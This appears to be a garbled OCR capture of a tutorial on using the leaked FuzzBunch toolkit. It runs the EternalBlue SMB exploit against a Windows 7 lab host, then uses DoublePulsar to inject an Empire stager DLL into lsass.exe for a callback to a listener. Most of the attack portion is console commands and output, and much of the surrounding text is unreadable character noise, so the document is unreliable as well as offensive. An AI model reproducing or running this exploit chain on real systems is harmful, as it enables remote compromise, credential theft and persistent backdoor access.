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YUzZBUNCH OAAE£ a° pAindowsAXB SPB x3R1162E8.68.1.101
Wetasploit ¥mpire OAAE£ a ° [Dpbian JAssielx64190.68.F. 1051

FuzzBunch ¢ ¢ vC Vv av %

al wadNSA vé Me&tASploid ¢ v BuzzBuncAi¢ v WE v E @AW 0 ¢ |
oV Yy acE DNO@ARA~ AN &%a UEv °E Agnef
) o e wi Y- "Gk Ping2eCANG © 6 A A
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) g CREOCUOL %i ¢p

659 addplugins(fbk, "Paylcad”, PAYLOAD DIR, EDFPlugin)
) addplugins(fb, "Touch”, TOUCH DIR, EDFPFlugin)
71 addplugins(fb, "ImplantConfig"”, IMPLANT_DIR, EDEPlugin)
72 #addpluging (£h, "ListeningPost”, LP DIR, EDFPlugin)
addplugins(fb, "Special”, SPECIAL DIR, DAVEPlugin, DeployakleManager)

Listening Port 6 wi Eovi BJ & ¥

s Cewuy / @& OADI vEéwkk AbazzBuncAxmwiEw & wAA A « v %0
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<t:parameter name="ResourcesDir"
description="Absolute path of the Resources Directory"
e="String"

default="C: \NSA\Leak\shadoybroker-master\windows\Resources"/>

<t:parameter name="LogDir"
lescription="Absolute path of an Initial Log Directory"”

type="String"

default="cC: \NSA\Leak\shadowbroker-master\windows\Logs"/>

wA6Ewad Az )»&RBoAr Awlj %uCCAE

Yo &t gCavA- pyhtabUI§wi FakB @l R -0 Avai«v wz
C:\Documents and Settings\Sheilarcd C:\WSAMLeak\shadowbroker-master\ywindows
C:\NSAALeak\shadowbroker-master‘\windows>python fb.py

[ Version 3.5.1

=] Loading Plugins

Initializing Fuzz

MLeaksshadowbroker-master\wmindows\Resources
=» False

\shadowbroker-master\windows\Logs

FUZZBUNCH AC6Vy v )6V EB«v %EATE
Avtj Coba Aé¥%wpA %t AiFuz®Bénohid ¢ WVCAI aClywazj¥aé ¢
) 8 C e wAVYYXPOLA WU p € V CaltbAcR @ 28 Wi (QR- s wRB~, §, +
[#=] Retargetting Session

Default Target IP Addres : 192.168.1.189

Detault Callback IP Hddress []1 : 192.168.1.188

no

Cywzxué y a°cppiydwms C~ ¢j ¢cwa Awnlj gCUL
a°E xw,ayv 06{¢é ¢v aAy %~ wulena W Q60 vVAWpEYA /
y @¢%vwuoz Cow- Yo ¢CAVA. %Y (¢&v e@rdBCIawWi ©¢°

v
yeeway Cu ¢cwCy t %AU Ewa O0¢Ewa
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log directory to

66.1.109°7 [Yes]

"CANSIAL eak M shadowbroker-mas ter \windows\Logshet

eternalblue 4 Ay %~ § wYBOE § CEwAYy ¢V %«v
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EthernalBlue OAA£+ &c¢ey°opel. Az A

¢EAO Eiv(,(€¢wA atw
FuzzBunch Wp CU %E ¢y % EthexndBuevBz YURNZz ! %BuACC AB v £
) 8 C & w luge EGroalBlue’Bvwil IvaYs

‘b » use EternalBlue

Entering Plugin Context :: Eternalblue
Applying Global VYariables

Set Networklimeout = i

Set Targetlp =» 192.168.1.189

Applying Session Parameters
Running Exploit Touche

Enter Prompt Mode :: Eternalblue

Module: Eternalblue

Networkl imeout

VerifuBac
MaxExplo

3

WIN72K8R2

EternalBlue ¢ ¢ A6 Y0 VE xw, ayv
%4 EC~ oO6wényv +ACywiuo A-z 13%4& EC~ |
YysCatr Cu ,AAPE AN FugzBubcd KERRINGRBEOPYTE)
Preparing to Execute Eternalblue
[#]1 HMode :: Delivery mechanism

=) DAME Forward deplovment via DARINGHNEOPHYTE

1) FB Traditional deplovment from within FUZZBUNCH

Mode [B] : 1
[+] Run Mode: FB

6avayv +REYEWT U xw, oyv
5 ¢awn °avA- v¥% UCAE~ ¢v
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':ui tation.
- exploitation.
e on.
indicated by SMBE reply
C G 6D 13 ”Irll
‘ree hole adjacent to SMBv? buffer.
l. uccessfully (@ Jppen )
b-hit)
[+] I't-=r nalb lll':‘_'hlll'.l'FF"{t-“d
EternalBlue & & A 080 € ¥ %« v
) ° Etérnalblue Succeeded wWC~ ° awWE °¢éwz ty¥% EC~ 0O
Yov ADAly 2 wh-(.°© COAE
+ DAubfeRulsar Yav Aem\A v wiPagodllyi ! DY 8EwWE 16 Az ¢wCy
ysCeway Cu ¢
(Listener) a°yApE °CHAE | Oyv
gCeéwuy Cu Cywz %éListéadr ACC 6UANET  Aczv v YEEVO v.
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Empire: listeners
ire: listeners
ire: Llisteners

(Empire: listeners) = execute
[*] Listener 'Eternal' successfully started.
[ ire: listeners Li

[*] Active listeners:

e: listeners
Listener © @6 A E
) ¢ Ainuxi % £ AdSt wowd v aw~ g CEwz

Yov MLy °6z¢ wh-(-.CO AE
Ct CA seffrchx64 Gwi %8 OMAE 6§ wa C tossinger O za 1+wa few
alwzmyhuvw~ v CAA2EWCY YA E va AW eecClevis Ad o (4

) 11 A

listeners
: stager/dll
e: stager/dll

Stager output written out to: /tmp/launcher.dll

ire: stager/dll i

Yy MBLV ®Z wd), 8wEEv ©° CEwE
¢ Av  aladacheAdi -+w¥mp WAZE AA-i BLLLE AB V® €0 AE A~ (i CU vV 3
yeCphi CU &R g® paYp RAiz
DoublePulsar OA A fDL1A B B &vj{. (& & LA E
DoublePulsar ¢ v %4« v Az +v° B R GRDEW~ iCEAR A
) o CRumBupch © w pEGyuvds £
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fb Special (Eternalblue) > use DoublePulsar

Entering Plugin Context :: Doublepulsar
Applving G 1 Vari 5

Set

t

o Networkli
largetlp => Y 1.109

Applving Session Parameters
Enter Prompt Mode :: Doublepulsar

Module: Doublepulsar

Name

NetworkTimeout

largetlp .168.1.109
largetPort
OutputFile
Protocol
Architecture s

Function Outputlnstall

DoublePulsar OAA £ $ ®AYy ¢V ¥«v
gCatr Cu Auviv %éE¢ 1t %vAU

P>

: Architecture of the target DS

12-bits
bh-hits

Architecture (@] |
+] Set Architecture =» whb

=] Function :: Operation for backdoor to perform
=) Dutputlnstall Only output the install shellcode to a binary file on «
1) Pine ot for presence of backdoor
1 : st a UL into a user mode process
III'|':“'i|'|I='| | code

&) Uninstall

Function (@] ; 2
Set Function => RunDLI

DI11Payload :: DLL to inject into user mode

launcher .dll
launcher . d.

Dl10rdinal :; The exported ordinal number of the DLL being injected to c

D110rdinal [1]1 : 1
ProcessHame :: Name of process to inject into
ProcessName [lsass. exel

ProcessCommandLine :: Command line of process to inject into

CommandLine []
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Backdoor Az CA%p AT ECwa %o 0v %w~
Uev % RCPprLAEE Aze &WEWY iZ2 A& gCzpey UAy Ay

) DELY%e & LAE °1 é Ai @gCéAnd Cu %vAAav
o €ropef OAAEDLMEqd &w8Ai o6wi Ad A, Fy 06" u %z Cp{

-

)L AE 1 Yy WDWIbRAuUISE Cv Yacv AO 3 %0 WE °Ewz

Preparing to Execute Doublepulsar
«] Redirection OFF

+] Configure Plugin Local Tunnels
Tunnel al-t el-1
tination IP 2.168.1.1891]
] nat I on F L [..I ]
+] {TCP) Local 192 1.189:445

+] Configure Plugin Remote Tunnels

Function RunDLL

Execute Plugin? [Yes]
DoublePulsar C&€ wAY OV« ¢ wa %o dv hw-~

° CEwz %é¢ A & ©°3awE °&wz °E
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B [64-bit] - HOR Key: O

sional 7600

inject DLL
returne: ] S
returned oo
returne
returne
returne

returne
raturne
returned
returned
returnec
returned
returr
returne
returne
returne
returne
returne
returned
returne
returne
returne
returne
returne
returned
returne
returne
raturne
returned
returne
returne

[
r
1
[
r_
1
1
r
r_
l
r
r
1
[
r
[
1
r
[
1
r
r_
1
[
r_
1
1
r
[
1
r
r_
1
[
r

i
+
i
i
i
l
+
'
.
i
i
"
i
'
'

I
]
15
I
]
]
]
]
]
|
I
]
1B
]
]
|
I
]
]
I
|
]
]
I
]
]
]
]
]
I
|
]
]
I
]

[+] C

DoublePulsar Backdoor ¢ v )t B4AE ¢ wz

) 1 A z DopblpulvalASucceededs WC~ © AWE WwWA-

Empire Session Az Ow{(/&g¥%v ¢ Y%V %

+wC~ U Edpre Liskendkv a wipia A owite YA AAIC 6 C aiv
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